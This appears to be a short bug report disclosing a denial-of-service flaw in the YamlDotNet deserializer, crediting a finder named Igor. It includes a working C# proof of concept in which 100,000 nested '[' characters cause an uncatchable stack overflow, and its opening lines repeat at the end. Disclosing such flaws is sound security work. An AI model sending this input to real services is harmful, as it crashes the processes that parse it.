There is an unbounded security vulnerability in the default serializer.
Thanks to Igor to finding it.
Using the following code you will get a stack overflow exception.
using System;
using YamlDotNet.Serialization;
string yaml = new string('[', 100_000); // deeply nested flow sequences
try
{
new Deserializer().Deserialize<object>(yaml); // crashes with StackOverflowException
}
catch (Exception)
{
// never reached: a StackOverflowException is uncatchable and kills the process
}
There is an unbounded security vulnerability in the default serializer.
Thanks to Igor to finding it.
Using the following code you will get a stack overflow exception.